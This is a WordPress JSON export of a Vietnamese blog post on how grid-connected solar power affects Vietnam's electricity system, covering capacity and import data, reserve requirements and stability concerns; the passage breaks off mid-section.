{"id":4487,"date":"2021-02-23T16:56:07","date_gmt":"2021-02-23T09:56:07","guid":{"rendered":"http:\/\/solarquangbinh.com\/?p=4487"},"modified":"2021-02-23T16:56:07","modified_gmt":"2021-02-23T09:56:07","slug":"dien-mat-troi-duoc-tich-hop-vao-luoi-dien-anh-huong-nhu-the-nao","status":"publish","type":"post","link":"https:\/\/solarquangbinh.com\/?p=4487","title":{"rendered":"\u0110i\u1ec7n m\u1eb7t tr\u1eddi \u0111\u01b0\u1ee3c t\u00edch h\u1ee3p v\u00e0o l\u01b0\u1edbi \u0111i\u1ec7n \u1ea3nh h\u01b0\u1edfng nh\u01b0 th\u1ebf n\u00e0o???"},"content":{"rendered":"<p><em><strong>\u0110i\u1ec7n m\u1eb7t tr\u1eddi \u0111\u01b0\u1ee3c t\u00edch h\u1ee3p v\u00e0o l\u01b0\u1edbi \u0111i\u1ec7n [K\u1ef3 1]: C\u00e1c \u1ea3nh h\u01b0\u1edfng tr\u00ean l\u01b0\u1edbi \u0111i\u1ec7n- \u0110\u1ebfn 31\/12\/2020, t\u1ed5ng c\u00f4ng su\u1ea5t l\u1eafp \u0111\u1eb7t \u0111i\u1ec7n m\u1eb7t tr\u1eddi tr\u00ean c\u1ea3 n\u01b0\u1edbc \u0111\u1ea1t kho\u1ea3ng 19.400 MWp (t\u01b0\u01a1ng \u1ee9ng kho\u1ea3ng 16,5 GWac), chi\u1ebfm kho\u1ea3ng 24% c\u00f4ng su\u1ea5t l\u1eafp \u0111\u1eb7t ngu\u1ed3n \u0111i\u1ec7n c\u1ee7a h\u1ec7 th\u1ed1ng \u0111i\u1ec7n qu\u1ed1c gia. Vi\u1ec7c ph\u00e1t tri\u1ec3n \u0111i\u1ec7n m\u1eb7t tr\u1eddi l\u00e0 t\u1ea5t y\u1ebfu v\u00e0 \u0111em l\u1ea1i nhi\u1ec1u l\u1ee3i \u00edch l\u00e2u d\u00e0i v\u1ec1 m\u1eb7t kinh t\u1ebf, m\u00f4i tr\u01b0\u1eddng, x\u00e3 h\u1ed9i, nh\u01b0ng n\u00f3 c\u0169ng t\u1ea1o ra nhi\u1ec1u \u1ea3nh h\u01b0\u1edfng kh\u00f4ng t\u1ed1t cho l\u01b0\u1edbi \u0111i\u1ec7n, nh\u1ea5t l\u00e0 khi t\u1ec9 tr\u1ecdng ngu\u1ed3n \u0111i\u1ec7n m\u1eb7t tr\u1eddi trong l\u01b0\u1edbi \u0111i\u1ec7n ng\u00e0y c\u00e0ng t\u0103ng cao. B\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y \u0111i\u1ec3m qua m\u1ed9t s\u1ed1 \u1ea3nh h\u01b0\u1edfng m\u00e0 \u0111i\u1ec7n m\u1eb7t tr\u1eddi g\u00e2y ra cho l\u01b0\u1edbi \u0111i\u1ec7n v\u00e0 c\u00e1c gi\u1ea3i ph\u00e1p kh\u1eafc ph\u1ee5c \u0111\u00e3 v\u00e0 \u0111ang \u0111\u01b0\u1ee3c nghi\u00ean c\u1ee9u, \u00e1p d\u1ee5ng tr\u00ean th\u1ebf gi\u1edbi.<\/strong><\/em><\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-4488 aligncenter\" src=\"http:\/\/solarquangbinh.com\/wp-content\/uploads\/2021\/02\/1-300x207.jpg\" alt=\"\" width=\"516\" height=\"349\" \/><\/p>\n<!--TOC-->\n<p>Trong nh\u1eefng n\u0103m g\u1ea7n \u0111\u00e2y, c\u00f9ng v\u1edbi c\u00e1c ch\u00ednh s\u00e1ch khuy\u1ebfn kh\u00edch ph\u00e1t tri\u1ec3n n\u0103ng l\u01b0\u1ee3ng s\u1ea1ch c\u1ee7a Ch\u00ednh ph\u1ee7, c\u00f4ng su\u1ea5t c\u00e1c ngu\u1ed3n \u0111i\u1ec7n m\u1eb7t tr\u1eddi v\u00e0 \u0111i\u1ec7n gi\u00f3 trong c\u01a1 c\u1ea5u ngu\u1ed3n \u0111i\u1ec7n c\u00f3 s\u1ef1 t\u0103ng tr\u01b0\u1edfng v\u01b0\u1ee3t b\u1eadc. T\u1eeb m\u1ee9c chi\u1ebfm t\u1ef7 tr\u1ecdng kh\u00f4ng \u0111\u00e1ng k\u1ec3, ngu\u1ed3n \u0111i\u1ec7n n\u0103ng l\u01b0\u1ee3ng t\u00e1i t\u1ea1o bi\u1ebfn \u0111\u1ed5i (g\u1ed3m \u0111i\u1ec7n gi\u00f3 v\u00e0 \u0111i\u1ec7n m\u1eb7t tr\u1eddi) \u0111\u00e3 chi\u1ebfm t\u1ef7 tr\u1ecdng \u0111\u00e1ng k\u1ec3 trong c\u01a1 c\u1ea5u ngu\u1ed3n \u0111i\u1ec7n qu\u1ed1c gia. Tuy nhi\u00ean, t\u1ef7 tr\u1ecdng ngu\u1ed3n n\u0103ng l\u01b0\u1ee3ng t\u00e1i t\u1ea1o bi\u1ebfn \u0111\u1ed5i c\u0169ng t\u1ea1o ra c\u00e1c th\u00e1ch th\u1ee9c kh\u00f4ng nh\u1ecf \u0111\u1ed1i v\u1edbi ng\u00e0nh \u0111i\u1ec7n, \u0111\u1eb7c bi\u1ec7t l\u00e0 c\u00f4ng t\u00e1c v\u1eadn h\u00e0nh v\u00e0 \u0111\u1ea3m b\u1ea3o gi\u1ea3i t\u1ecfa h\u1ebft c\u00f4ng su\u1ea5t ngu\u1ed3n n\u0103ng l\u01b0\u1ee3ng t\u00e1i t\u1ea1o.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/nangluongvietnam.vn\/stores\/news_dataimages\/Maithang\/022021\/17\/13\/HINH1.jpg\" alt=\"\" \/><\/p>\n<p><em>H\u00ecnh 1: Bi\u1ec3u \u0111\u1ed3 c\u00f4ng su\u1ea5t ph\u00e1t c\u1ee7a m\u1ed9t nh\u00e0 m\u00e1y \u0111i\u1ec7n m\u1eb7t tr\u1eddi t\u1ea1i Ninh Thu\u1eadn.<\/em><\/p>\n<p>C\u00f4ng su\u1ea5t ph\u00e1t \u0111i\u1ec7n m\u1eb7t tr\u1eddi t\u00f9y thu\u1ed9c ho\u00e0n to\u00e0n v\u00e0o \u0111i\u1ec1u ki\u1ec7n th\u1eddi ti\u1ebft, c\u00f3 nh\u1eefng ng\u00e0y ph\u00e1t c\u00f4ng su\u1ea5t cao, nh\u01b0ng c\u0169ng c\u00f3 nh\u1eefng ng\u00e0y ph\u00e1t c\u00f4ng su\u1ea5t kh\u00e1 th\u1ea5p. B\u00ean c\u1ea1nh \u0111\u00f3, c\u00f4ng su\u1ea5t \u0111i\u1ec7n m\u1eb7t tr\u1eddi th\u01b0\u1eddng xuy\u00ean dao \u0111\u1ed9ng v\u00e0 c\u00f3 nhi\u1ec1u th\u1eddi \u0111i\u1ec3m thay \u0111\u1ed5i \u0111\u1ed9t ng\u1ed9t, nh\u01b0 \u0111\u01b0\u1ee3c th\u1ec3 hi\u1ec7n \u1edf h\u00ecnh tr\u00ean. Tr\u00ean \u0111\u01b0\u1eddng m\u00e0u xanh, c\u00f3 th\u1eddi \u0111i\u1ec3m \u0111i\u1ec7n m\u1eb7t tr\u1eddi gi\u1ea3m 35% trong v\u00f2ng 5 ph\u00fat, v\u00e0 gi\u1ea3m 80% trong v\u00f2ng 15 ph\u00fat.<\/p>\n<h2><strong>1\/ Vi\u1ec7t Nam c\u00f3 c\u1ea7n ph\u00e1t tri\u1ec3n c\u00e1c ngu\u1ed3n \u0111i\u1ec7n m\u1eb7t tr\u1eddi?<\/strong><\/h2>\n<p>Vi\u1ec7t Nam l\u00e0 m\u1ed9t n\u01b0\u1edbc \u0111ang ph\u00e1t tri\u1ec3n, v\u00ec v\u1eady, nhu c\u1ea7u \u0111i\u1ec7n n\u0103ng trong giai \u0111o\u1ea1n t\u1edbi s\u1ebd ti\u1ebfp t\u1ee5c t\u0103ng m\u1ea1nh. Theo d\u1ef1 th\u1ea3o Quy ho\u1ea1ch \u0111i\u1ec7n 8, \u0111\u1ebfn n\u0103m 2030, nhu c\u1ea7u \u0111i\u1ec7n s\u1ea3n xu\u1ea5t so v\u1edbi n\u0103m 2020 t\u0103ng g\u1ea5p 2.17 l\u1ea7n (t\u1eeb 247 t\u1ef7 kWh l\u00ean 537 t\u1ef7 kWh) v\u00e0 \u0111\u1ebfn n\u0103m 2045 t\u0103ng g\u1ea5p 3.88 l\u1ea7n (l\u00ean 959 t\u1ef7 kWh) k\u00e9o theo \u0111\u00f3 l\u00e0 nhu c\u1ea7u n\u0103ng l\u01b0\u1ee3ng s\u01a1 c\u1ea5p cho s\u1ea3n xu\u1ea5t \u0111i\u1ec7n c\u0169ng s\u1ebd ph\u1ea3i t\u0103ng theo.<\/p>\n<p>Vi\u1ec7t Nam \u0111\u00e3 chuy\u1ec3n t\u1eeb n\u01b0\u1edbc xu\u1ea5t kh\u1ea9u n\u0103ng l\u01b0\u1ee3ng th\u00e0nh n\u01b0\u1edbc nh\u1eadp kh\u1ea9u n\u0103ng l\u01b0\u1ee3ng r\u00f2ng. Theo th\u1ed1ng k\u00ea c\u1ee7a T\u1ed5ng c\u1ee5c H\u1ea3i Quan trong 3 n\u0103m g\u1ea7n \u0111\u00e2y, Vi\u1ec7t Nam nh\u1eadp kh\u1ea9u r\u00f2ng n\u0103ng l\u01b0\u1ee3ng r\u1ea5t l\u1edbn nh\u01b0 than \u0111\u00e1 (54,8 tri\u1ec7u t\u1ea5n), d\u1ea7u th\u00f4 (11,7 tri\u1ec7u t\u1ea5n), x\u0103ng d\u1ea7u (8,2 tri\u1ec7u t\u1ea5n) v\u00e0 kh\u00ed \u0111\u1ed1t h\u00f3a l\u1ecfng (1,8 tri\u1ec7u t\u1ea5n), v\u01b0\u1ee3t xa gi\u00e1 tr\u1ecb xu\u1ea5t kh\u1ea9u t\u01b0\u01a1ng \u1ee9ng.<\/p>\n<p>Theo Quy ho\u1ea1ch t\u1ed5ng th\u1ec3 v\u1ec1 n\u0103ng l\u01b0\u1ee3ng Qu\u1ed1c gia do Vi\u1ec7n N\u0103ng l\u01b0\u1ee3ng l\u1eadp, s\u1ea3n l\u01b0\u1ee3ng than th\u01b0\u01a1ng ph\u1ea9m trong n\u01b0\u1edbc h\u00e0ng n\u0103m \u0111\u1ebfn 2050 t\u1ed1i \u0111a kho\u1ea3ng 50 tri\u1ec7u t\u1ea5n\/n\u0103m, th\u1ea5p h\u01a1n l\u01b0\u1ee3ng than \u0111\u00e3 nh\u1eadp kh\u1ea9u n\u0103m 2020 v\u00e0 kh\u00f4ng \u0111\u1ee7 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u trong n\u01b0\u1edbc. C\u0169ng theo quy ho\u1ea1ch tr\u00ean, Vi\u1ec7t Nam c\u1ea7n ph\u1ea3i nh\u1eadp kh\u1ea9u l\u01b0\u1ee3ng than kh\u00e1 l\u1edbn, cao nh\u1ea5t \u0111\u1ebfn h\u01a1n 100 tri\u1ec7u t\u1ea5n\/n\u0103m \u0111\u1ec3 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u trong n\u01b0\u1edbc.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/nangluongvietnam.vn\/stores\/news_dataimages\/Maithang\/022021\/17\/13\/HINH2.jpg\" alt=\"\" \/><\/p>\n<p><em>B\u1ea3ng c\u00e2n \u0111\u1ed1i cung c\u1ea7u than trong n\u01b0\u1edbc (ngh\u00ecn t\u1ea5n) &#8211;\u00a0<\/em><em>theo Quy ho\u1ea1ch t\u1ed5ng th\u1ec3 v\u1ec1 n\u0103ng l\u01b0\u1ee3ng Qu\u1ed1c gia.<\/em><\/p>\n<p>C\u0169ng theo Quy ho\u1ea1ch t\u1ed5ng th\u1ec3 v\u1ec1 n\u0103ng l\u01b0\u1ee3ng qu\u1ed1c gia, c\u1ea7n ph\u1ea3i nh\u1eadp kh\u1ea9u kh\u00ed \u0111\u1ed1t \u0111\u1ec3 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u trong n\u01b0\u1edbc. D\u1ef1 ki\u1ebfn ph\u1ea3i nh\u1eadp tr\u00ean 4 t\u1ef7 m3 LNG\/n\u0103m \u0111\u1ebfn 2025, tr\u00ean 15 t\u1ef7 m3 LNG\/n\u0103m \u0111\u1ebfn 2030 v\u00e0 g\u1ea7n 80 t\u1ef7 m3 LNG\/n\u0103m \u0111\u1ebfn 2050 n\u1ebfu kh\u00f4ng c\u00f3 s\u1ea3n l\u01b0\u1ee3ng khai th\u00e1c kh\u00ed t\u1eeb c\u00e1c m\u1ecf m\u1edbi.<\/p>\n<p>Ti\u1ec1m n\u0103ng k\u1ef9 thu\u1eadt c\u1ee7a \u0111i\u1ec7n gi\u00f3 v\u00e0 \u0111i\u1ec7n m\u1eb7t tr\u1eddi c\u1ee7a Vi\u1ec7t Nam kh\u00e1 l\u1edbn. Theo Quy ho\u1ea1ch t\u1ed5ng th\u1ec3 v\u1ec1 n\u0103ng l\u01b0\u1ee3ng qu\u1ed1c gia, t\u1ed5ng ti\u1ec1m n\u0103ng k\u1ef9 thu\u1eadt c\u1ee7a \u0111i\u1ec7n gi\u00f3 tr\u00ean \u0111\u1ea5t li\u1ec1n (v\u1edbi t\u1ed1c \u0111\u1ed9 gi\u00f3 t\u1eeb 4.5m\/s tr\u1edf l\u00ean) kho\u1ea3ng 217 GW v\u00e0 \u0111i\u1ec7n gi\u00f3 ngo\u00e0i kh\u01a1i (v\u1edbi t\u1ed1c \u0111\u1ed9 gi\u00f3 t\u1eeb 6m\/s tr\u1edf l\u00ean) kho\u1ea3ng 162 GW. Ti\u1ec1m n\u0103ng k\u1ef9 thu\u1eadt c\u1ee7a \u0111i\u1ec7n m\u1eb7t tr\u1eddi m\u1eb7t \u0111\u1ea5t kho\u1ea3ng 1,568.5 GW, \u0111i\u1ec7n m\u1eb7t tr\u1eddi tr\u00ean m\u00e1i nh\u00e0 kho\u1ea3ng 48,5 GW v\u00e0 \u0111i\u1ec7n m\u1eb7t tr\u1eddi tr\u00ean m\u1eb7t n\u01b0\u1edbc kho\u1ea3ng 76.5 GW.<\/p>\n<p>Ngo\u00e0i ra, v\u1edbi b\u1edd bi\u1ec3n d\u00e0i, ti\u1ec1m n\u0103ng k\u1ef9 thu\u1eadt c\u1ee7a \u0111i\u1ec7n th\u1ee7y tri\u1ec1u Vi\u1ec7t Nam l\u00e0 kh\u00e1 l\u1edbn. Tuy nhi\u00ean, c\u00f4ng ngh\u1ec7 n\u00e0y ch\u01b0a ph\u1ed5 bi\u1ebfn tr\u00ean th\u1ebf gi\u1edbi. Su\u1ea5t \u0111\u1ea7u t\u01b0 c\u1ee7a c\u00e1c ngu\u1ed3n \u0111i\u1ec7n m\u1eb7t tr\u1eddi v\u00e0 \u0111i\u1ec7n gi\u00f3 c\u00f3 s\u1ef1 gi\u1ea3m m\u1ea1nh trong th\u1eadp k\u1ef7 v\u1eeba qua. Theo th\u1ed1ng k\u00ea c\u1ee7a IRENA, su\u1ea5t \u0111\u1ea7u t\u01b0 trung b\u00ecnh c\u1ee7a \u0111i\u1ec7n m\u1eb7t tr\u1eddi \u0111\u00e3 gi\u1ea3m kho\u1ea3ng 79% trong giai \u0111o\u1ea1n t\u1eeb 2010 \u0111\u1ebfn 2019 v\u00e0 \u0111i\u1ec7n gi\u00f3 c\u0169ng gi\u1ea3m kho\u1ea3ng 18% v\u00e0 xu h\u01b0\u1edbng gi\u1ea3m s\u1ebd ti\u1ebfp t\u1ee5c trong nh\u1eefng n\u0103m t\u1edbi. Xu h\u01b0\u1edbng gi\u1ea3m tr\u00ean \u0111\u00e3 gi\u1ea3m gi\u00e1 th\u00e0nh s\u1ea3n xu\u1ea5t \u0111i\u1ec7n c\u1ee7a c\u00e1c ngu\u1ed3n n\u0103ng l\u01b0\u1ee3ng t\u00e1i t\u1ea1o c\u00f3 th\u1ec3 c\u1ea1nh tranh \u0111\u01b0\u1ee3c v\u1edbi c\u00e1c ngu\u1ed3n n\u0103ng l\u01b0\u1ee3ng h\u00f3a th\u1ea1ch.<\/p>\n<p>\u0110\u1ec3 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u n\u0103ng l\u01b0\u1ee3ng trong n\u01b0\u1edbc trong giai \u0111o\u1ea1n t\u1edbi, ngo\u00e0i vi\u1ec7c ph\u1ea3i nh\u1eadp kh\u1ea9u n\u0103ng l\u01b0\u1ee3ng t\u1eeb n\u01b0\u1edbc ngo\u00e0i, c\u1ea7n thi\u1ebft ph\u1ea3i khai th\u00e1c hi\u1ec7u qu\u1ea3 c\u00e1c ngu\u1ed3n n\u0103ng l\u01b0\u1ee3ng m\u1eb7t tr\u1eddi v\u00e0 \u0111i\u1ec7n gi\u00f3 trong n\u01b0\u1edbc nh\u1eb1m t\u0103ng t\u00ednh t\u1ef1 ch\u1ee7 trong cung c\u1ea5p n\u0103ng l\u01b0\u1ee3ng, \u0111\u1ea3m b\u1ea3o an ninh n\u0103ng l\u01b0\u1ee3ng, gi\u1ea3m ph\u1ee5 thu\u1ed9c v\u00e0o ngu\u1ed3n cung b\u00ean ngo\u00e0i trong b\u1ed1i c\u1ea3nh t\u00ecnh h\u00ecnh Bi\u1ec3n \u0110\u00f4ng c\u00f3 nhi\u1ec1u bi\u1ebfn \u0111\u1ed9ng, b\u1ea3o v\u1ec7 m\u00f4i tr\u01b0\u1eddng, gi\u1ea3m ph\u00e1p th\u1ea3i kh\u00ed nh\u00e0 k\u00ednh v\u00e0 c\u0169ng \u0111\u1ea3m b\u1ea3o cam k\u1ebft c\u1ee7a Ch\u00ednh ph\u1ee7 v\u1ec1 c\u1eaft gi\u1ea3m kh\u00ed nh\u00e0 k\u00ednh theo Hi\u1ec7p \u0111\u1ecbnh Paris v\u1ec1 bi\u1ebfn \u0111\u1ed5i kh\u00ed h\u1eadu.<\/p>\n<p>Theo d\u1ef1 th\u1ea3o Quy ho\u1ea1ch \u0111i\u1ec7n 8, \u0111\u1ebfn n\u0103m 2045 t\u1ed5ng c\u00f4ng su\u1ea5t l\u1eafp \u0111\u1eb7t c\u1ee7a \u0111i\u1ec7n m\u1eb7t tr\u1eddi kho\u1ea3ng 53 GW (Ph\u01b0\u01a1ng \u00e1n ph\u1ee5 t\u1ea3i c\u01a1 s\u1edf) v\u00e0 60 GW (Ph\u01b0\u01a1ng \u00e1n ph\u1ee5 t\u1ea3i cao). Tuy nhi\u00ean, vi\u1ec7c ngu\u1ed3n \u0111i\u1ec7n m\u1eb7t tr\u1eddi c\u00f3 t\u1ef7 tr\u1ecdng l\u1edbn trong h\u1ec7 th\u1ed1ng \u0111i\u1ec7n s\u1ebd \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn h\u1ec7 th\u1ed1ng nh\u01b0 th\u1ebf n\u00e0o? Nh\u1eefng gi\u1ea3i ph\u00e1p n\u00e0o c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c xem x\u00e9t nh\u1eb1m gi\u1ea3i quy\u1ebft c\u00e1c \u1ea3nh h\u01b0\u1edfng x\u1ea5u, c\u00e1c kh\u00f3 kh\u0103n trong qu\u00e1 tr\u00ecnh t\u00edch h\u1ee3p, v\u1eadn h\u00e0nh c\u00e1c ngu\u1ed3n \u0111i\u1ec7n m\u1eb7t tr\u1eddi (PV) tr\u00ean l\u01b0\u1edbi \u0111i\u1ec7n?<\/p>\n<h2><strong>2\/ \u1ea2nh h\u01b0\u1edfng c\u1ee7a c\u00e1c ngu\u1ed3n PV tr\u00ean l\u01b0\u1edbi \u0111i\u1ec7n<\/strong><\/h2>\n<p>C\u00e1c ngu\u1ed3n PV c\u00f3 th\u1ec3 k\u1ebft n\u1ed1i v\u00e0o h\u1ec7 th\u1ed1ng \u0111i\u1ec7n \u1edf c\u00e1c l\u01b0\u1edbi truy\u1ec1n t\u1ea3i v\u00e0 ph\u00e2n ph\u1ed1i. Do s\u1ef1 kh\u00e1c nhau trong \u0111\u1eb7c \u0111i\u1ec3m c\u1ee7a c\u00e1c l\u01b0\u1edbi truy\u1ec1n t\u1ea3i v\u00e0 ph\u00e2n ph\u1ed1i, c\u0169ng nh\u01b0 m\u1ee9c c\u00f4ng su\u1ea5t c\u00e1c ngu\u1ed3n PV k\u1ebft n\u1ed1i v\u00e0o m\u1ed7i l\u01b0\u1edbi, \u1ea3nh h\u01b0\u1edfng c\u1ee7a c\u00e1c ngu\u1ed3n PV g\u00e2y ra tr\u00ean m\u1ed7i l\u01b0\u1edbi c\u0169ng c\u00f3 s\u1ef1 kh\u00e1c nhau. D\u01b0\u1edbi \u0111\u00e2y s\u1ebd xem x\u00e9t m\u1ed9t s\u1ed1 \u1ea3nh h\u01b0\u1edfng c\u1ee7a c\u00e1c ngu\u1ed3n PV tr\u00ean l\u01b0\u1edbi truy\u1ec1n t\u1ea3i v\u00e0 ph\u00e2n ph\u1ed1i m\u1ed9t c\u00e1ch ri\u00eang r\u1ebd.<\/p>\n<h3><strong>C\u00e1c \u1ea3nh h\u01b0\u1edfng c\u1ee7a ngu\u1ed3n PV c\u00f4ng su\u1ea5t l\u1edbn tr\u00ean l\u01b0\u1edbi truy\u1ec1n t\u1ea3i<\/strong><\/h3>\n<p>1\/ G\u00e2y ra c\u00e1c dao \u0111\u1ed9ng c\u00f4ng su\u1ea5t, t\u1ea7n s\u1ed1 v\u00e0 \u0111i\u1ec7n \u00e1p b\u1edfi s\u1ef1 b\u1ea5t \u0111\u1ecbnh, s\u1ef1 ph\u1ee5 thu\u1ed9c c\u1ee7a c\u00f4ng su\u1ea5t ph\u00e1t PV v\u00e0o \u0111i\u1ec1u ki\u1ec7n m\u00f4i tr\u01b0\u1eddng xung quanh (nhi\u1ec7t \u0111\u1ed9, b\u1ee9c x\u1ea1 m\u1eb7t tr\u1eddi, m\u00e2y, s\u01b0\u01a1ng m\u00f9\u2026).<\/p>\n<p>2\/ S\u1ef1 thay \u0111\u1ed5i c\u00e1c y\u00eau c\u1ea7u\/ti\u00eau chu\u1ea9n v\u1edbi c\u00e1c d\u1ecbch v\u1ee5 ph\u1ee5 tr\u1ee3 \u0111\u1ec3 c\u00f3 th\u1ec3 c\u00e2n b\u1eb1ng c\u00f4ng su\u1ea5t ph\u1ee5 t\u1ea3i trong \u0111i\u1ec1u ki\u1ec7n c\u00f3 PV: T\u0103ng t\u1ea7n s\u1ed1 l\u1ea5y m\u1eabu v\u1edbi vi\u1ec7c \u0111o \u0111\u1ea1c v\u00e0 gi\u00e1m s\u00e1t h\u1ec7 th\u1ed1ng, t\u0103ng t\u1ea7n s\u1ed1 c\u1ee7a c\u00e1c t\u00e1c v\u1ee5 \u0111i\u1ec1u khi\u1ec3n trong \u0111i\u1ec1u \u0111\u1ed9 h\u1ec7 th\u1ed1ng \u0111i\u1ec7n, t\u0103ng gi\u1edbi h\u1ea1n c\u00f4ng su\u1ea5t d\u1ef1 tr\u1eef cho \u0111i\u1ec1u khi\u1ec3n t\u1ea7n s\u1ed1 t\u1ea3i (LFC).<\/p>\n<p>M\u1ed9t nghi\u00ean c\u1ee9u \u1edf \u0110\u1ea1i h\u1ecdc Tokyo v\u1edbi m\u00f4 h\u00ecnh LFC Nh\u1eadt B\u1ea3n t\u1eeb 1996\u00a0<strong>[1]<\/strong>\u00a0cho th\u1ea5y v\u1edbi t\u1ec9 tr\u1ecdng c\u00f4ng su\u1ea5t PV tr\u00ean c\u00f4ng su\u1ea5t t\u1ea3i l\u00e0 10%, gi\u1edbi h\u1ea1n c\u00f4ng su\u1ea5t d\u1ef1 tr\u1eef cho LFC c\u1ea7n \u0111\u1ea1t 2,5%. Con s\u1ed1 n\u00e0y l\u00e0 10% khi t\u1ec9 tr\u1ecdng PV l\u00e0 30%.<\/p>\n<p>L\u01b0u \u00fd r\u1eb1ng, \u0111\u00e2y l\u00e0 c\u00e1c \u0111\u00e1nh gi\u00e1 khi ch\u01b0a xem x\u00e9t s\u1ef1 h\u1ed7 tr\u1ee3 c\u1ee7a c\u00e1c h\u1ec7 th\u1ed1ng t\u00edch tr\u1eef n\u0103ng l\u01b0\u1ee3ng. \u0110\u1eb7c \u0111i\u1ec3m \u0111\u1ecba l\u00fd c\u1ee7a c\u00e1c ngu\u1ed3n PV, c\u1ee5 th\u1ec3 l\u00e0 di\u1ec7n t\u00edch khu v\u1ef1c l\u1eafp \u0111\u1eb7t ngu\u1ed3n PV, \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn m\u1ee9c \u0111\u1ed9 dao \u0111\u1ed9ng c\u00f4ng su\u1ea5t m\u00e0 ch\u00fang c\u00f3 th\u1ec3 g\u00e2y ra khi c\u00f3 hi\u1ec7n t\u01b0\u1ee3ng m\u00e2y che, v\u00e0 theo \u0111\u00f3 c\u0169ng g\u00f3p ph\u1ea7n quy\u1ebft \u0111\u1ecbnh m\u1ee9c c\u00f4ng su\u1ea5t l\u1edbn nh\u1ea5t c\u1ee7a ch\u00fang.<\/p>\n<p>Theo m\u1ed9t nghi\u00ean c\u1ee9u\u00a0<strong>[2]<\/strong>\u00a0cho h\u1ec7 th\u1ed1ng \u0111i\u1ec7n Kansas, v\u1edbi c\u00f4ng su\u1ea5t d\u1ef1 tr\u1eef h\u1ec7 th\u1ed1ng l\u00e0 1%, th\u00ec t\u1ed5ng ngu\u1ed3n PV l\u1eafp \u0111\u1eb7t ph\u00e2n b\u1ed1 tr\u00ean m\u1ed9t khu v\u1ef1c 10 km2 c\u00f3 th\u1ec3 c\u00f3 c\u00f4ng su\u1ea5t 6.3% c\u00f4ng su\u1ea5t t\u1ea3i, trong khi t\u1ed5ng ngu\u1ed3n PV l\u1eafp ph\u00e2n b\u1ed1 tr\u00ean khu v\u1ef1c 100 km2 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c ph\u00e9p c\u00f3 c\u00f4ng su\u1ea5t 18.1% c\u00f4ng su\u1ea5t t\u1ea3i. Trong tr\u01b0\u1eddng h\u1ee3p ngu\u1ed3n PV t\u1eadp trung, c\u00f4ng su\u1ea5t cho ph\u00e9p l\u00e0 1.3% c\u00f4ng su\u1ea5t t\u1ea3i, v\u1edbi gi\u1ea3 thi\u1ebft l\u00e0 khi c\u00f3 m\u00e2y che, c\u00f4ng su\u1ea5t PV c\u00f3 th\u1ec3 gi\u1ea3m nhi\u1ec1u nh\u1ea5t l\u00e0 75% trong v\u00f2ng m\u1ed9t ph\u00fat. Nghi\u00ean c\u1ee9u n\u00e0y g\u00f3p ph\u1ea7n x\u00e1c nh\u1eadn r\u1eb1ng, t\u00e1c \u0111\u1ed9ng c\u1ee7a PV m\u00e1i nh\u00e0 \u0111\u1ed1i v\u1edbi y\u00eau c\u1ea7u d\u1ef1 tr\u1eef c\u00f4ng su\u1ea5t l\u00e0 kh\u00f4ng \u0111\u00e1ng k\u1ec3 so v\u1edbi t\u00e1c \u0111\u1ed9ng c\u1ee7a c\u00e1c ngu\u1ed3n PV l\u1edbn t\u1eadp trung. Tuy v\u1eady, do \u0111\u1eb7c \u0111i\u1ec3m kh\u00f3 ki\u1ec3m so\u00e1t c\u1ee7a PV m\u00e1i nh\u00e0 so v\u1edbi ngu\u1ed3n PV c\u00f4ng su\u1ea5t l\u1edbn, \u0111i\u1ec1u \u0111\u1ed9 h\u1ec7 th\u1ed1ng v\u1eabn c\u1ea7n quan t\u00e2m \u0111\u1ebfn \u1ea3nh h\u01b0\u1edfng c\u1ee7a PV m\u00e1i nh\u00e0, nh\u1ea5t l\u00e0 khi t\u1ec9 tr\u1ecdng c\u1ee7a ch\u00fang trong h\u1ec7 th\u1ed1ng t\u0103ng cao.<\/p>\n<p>3\/ \u1ed4n \u0111\u1ecbnh h\u1ec7 th\u1ed1ng \u0111i\u1ec7n: Kh\u00f4ng gi\u1ed1ng nh\u01b0 c\u00e1c nh\u00e0 m\u00e1y \u0111i\u1ec7n c\u00f3 h\u1ec7 th\u1ed1ng \u2018quay\u2019 c\u1ee7a tua bin &#8211; m\u00e1y ph\u00e1t (g\u1ecdi l\u00e0 nh\u00e0 m\u00e1y \u0111i\u1ec7n quay), ngu\u1ed3n PV kh\u00f4ng c\u00f3 qu\u00e1n t\u00ednh v\u00e0 c\u00f3 \u0111\u00e1p \u1ee9ng \u0111\u1ed9ng ho\u00e0n to\u00e0n ph\u1ee5 thu\u1ed9c v\u00e0o \u0111\u1eb7c t\u00ednh c\u1ee7a b\u1ed9 ngh\u1ecbch l\u01b0u. V\u00ec th\u1ebf, s\u1ef1 t\u00edch h\u1ee3p PV v\u00e0o l\u01b0\u1edbi \u0111i\u1ec7n s\u1ebd l\u00e0m gi\u1ea3m qu\u00e1n t\u00ednh v\u00e0 gi\u1ea3m h\u1ec7 s\u1ed1 c\u1ea3n dao \u0111\u1ed9ng c\u1ee7a l\u01b0\u1edbi. M\u1ed9t c\u00e1ch chung nh\u1ea5t th\u00ec s\u1ef1 suy gi\u1ea3m n\u00e0y th\u01b0\u1eddng l\u00e0m gi\u1ea3m t\u00ednh \u1ed5n \u0111\u1ecbnh c\u1ee7a h\u1ec7 th\u1ed1ng \u0111i\u1ec7n. Tuy v\u1eady, vi\u1ec7c \u0111\u00e1nh gi\u00e1 c\u00e1c \u1ea3nh h\u01b0\u1edfng c\u1ee7a PV l\u00ean \u1ed5n \u0111\u1ecbnh h\u1ec7 th\u1ed1ng \u0111i\u1ec7n c\u1ea7n \u0111\u01b0\u1ee3c xem x\u00e9t c\u1ee5 th\u1ec3 v\u1edbi m\u1ed7i lo\u1ea1i \u1ed5n \u0111\u1ecbnh v\u00e0 c\u00e1c \u0111\u1eb7c \u0111i\u1ec3m c\u1ee7a ngu\u1ed3n PV:<\/p>\n<p>Th\u1ee9 nh\u1ea5t: \u1ed4n \u0111\u1ecbnh t\u0129nh: \u1ed4n \u0111\u1ecbnh t\u0129nh c\u1ee7a h\u1ec7 th\u1ed1ng 